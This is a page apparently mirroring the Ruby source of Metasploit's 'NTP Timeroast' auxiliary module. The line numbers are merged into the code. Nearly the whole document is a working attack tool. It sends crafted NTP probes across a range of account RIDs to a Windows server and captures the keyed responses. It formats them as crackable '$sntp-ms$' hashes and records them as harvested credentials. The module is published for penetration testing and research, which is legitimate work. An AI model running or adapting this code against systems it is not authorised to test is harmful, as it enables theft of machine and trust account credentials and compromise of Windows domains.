Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place. Commercial Alternative to JupyterHub.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place. Commercial Alternative to JupyterHub.
Path: blob/master/modules/auxiliary/scanner/ntp/timeroast.rb
Views: 15959
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Report7include Msf::Auxiliary::Scanner8include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'NTP Timeroast',15'Description' => %q{16Windows authenticates NTP requests by calculating the message digest using the NT hash followed by the first1748 bytes of the NTP message (all fields preceding the key ID). An attacker can abuse this to recover hashes18that can be cracked offline for machine and trust accounts. The attacker must know the accounts RID, but19because RIDs are sequential, they can easily be enumerated.20},21'Author' => [22'Tom Tervoort',23'Spencer McIntyre'24],25'License' => MSF_LICENSE,26'References' => [27['URL', 'https://github.com/SecuraBV/Timeroast/'],28['URL', 'https://www.secura.com/uploads/whitepapers/Secura-WP-Timeroasting-v3.pdf']29],30'Notes' => {31'Stability' => [],32'Reliability' => [],33'SideEffects' => []34}35)36)37register_options([38Opt::RPORT(123),39OptIntRange.new('RIDS', [ true, 'The RIDs to enumerate (e.g. 1000-2000).' ]),40OptInt.new('DELAY', [ true, 'The delay in milliseconds between attempts.', 20]),41OptInt.new('TIMEOUT', [ true, 'The timeout in seconds to wait at the end for replies.', 5])42])43end4445def validate46super4748errors = {}49errors['DELAY'] = 'DELAY can not be negative.' if datastore['DELAY'].to_i < 050errors['TIMEOUT'] = 'TIMEOUT can not be negative.' if datastore['TIMEOUT'].to_i < 051raise ::Msf::OptionValidateError, errors unless errors.empty?52end5354def build_ntp_probe(rid)55probe = Rex::Proto::NTP::Header::NTPHeader.new56probe.leap_indicator = 357probe.version_number = 358probe.mode = Rex::Proto::NTP::Mode::CLIENT59probe.key_identifier = [rid].pack('L>').unpack1('L<') # NTP uses big endian but MS uses little endian for this one field60probe.message_digest = Random.random_bytes(OpenSSL::Digest.new('MD5').digest_length).unpack('C*')61probe62end6364def recv_response(timeout: 0)65begin66raw, = udp_sock.recvfrom(68, timeout) # 68 is always the number of bytes expected67rescue ::Rex::SocketError, ::IOError68return nil69end7071return nil if raw.empty?7273Rex::Proto::NTP::Header::NTPHeader.read(raw)74end7576def run_host(_ip)77connect_udp7879delay = datastore['DELAY'].to_i80pending = 08182Msf::OptIntRange.parse(datastore['RIDS']).each do |rid|83vprint_status("Checking RID: #{rid}")84probe = build_ntp_probe(rid)85udp_sock.put(probe.to_binary_s)86pending += 18788sleep(delay / 1000.0)8990response = recv_response91next unless response9293process_response(response)94pending -= 195end9697return if pending == 09899print_status("Waiting on #{pending} pending responses...")100remaining = 10101while remaining > 0 && pending > 0102response, elapsed_time = Rex::Stopwatch.elapsed_time do103recv_response(timeout: remaining)104end105remaining -= elapsed_time106next unless response107108process_response(response)109pending -= 1110end111ensure112disconnect_udp113end114115def process_response(response)116resp_rid = [response.key_identifier].pack('L<').unpack1('L>')117message_digest = response.message_digest.pack('C*')118salt = response.to_binary_s[0...response.offset_of(response.key_identifier)]119hash = "$sntp-ms$#{message_digest.unpack1('H*')}$#{salt.unpack1('H*')}"120121print_good("Hash for RID: #{resp_rid} - #{resp_rid}:#{hash}")122report_hash(hash)123end124125def report_hash(hash)126jtr_format = Metasploit::Framework::Hashes.identify_hash(hash)127service_data = {128address: rhost,129port: rport,130service_name: 'ntp',131protocol: 'udp',132workspace_id: myworkspace_id133}134credential_data = {135module_fullname: fullname,136origin_type: :service,137private_data: hash,138private_type: :nonreplayable_hash,139jtr_format: jtr_format140}.merge(service_data)141142credential_core = create_credential(credential_data)143144login_data = {145core: credential_core,146status: Metasploit::Model::Login::Status::UNTRIED147}.merge(service_data)148149create_credential_login(login_data)150end151end152153154